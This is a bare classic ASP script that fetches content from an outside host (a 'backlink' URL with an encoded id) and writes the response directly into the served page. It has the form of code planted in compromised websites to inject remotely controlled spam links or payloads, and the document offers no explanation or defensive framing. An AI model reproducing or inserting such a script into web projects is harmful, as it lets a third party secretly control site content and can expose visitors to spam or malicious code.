<% Set StrHTTP = Server.CreateObject("Microsoft.XMLHTTP") Server.ScriptTimeout = 3000 StrHTTP.Open "GET","http://backlink.r10.net/fatal.php?i=MTEwNTg=", false StrHTTP.send veri = StrHTTP.Responsetext response.write veri response.write "" %>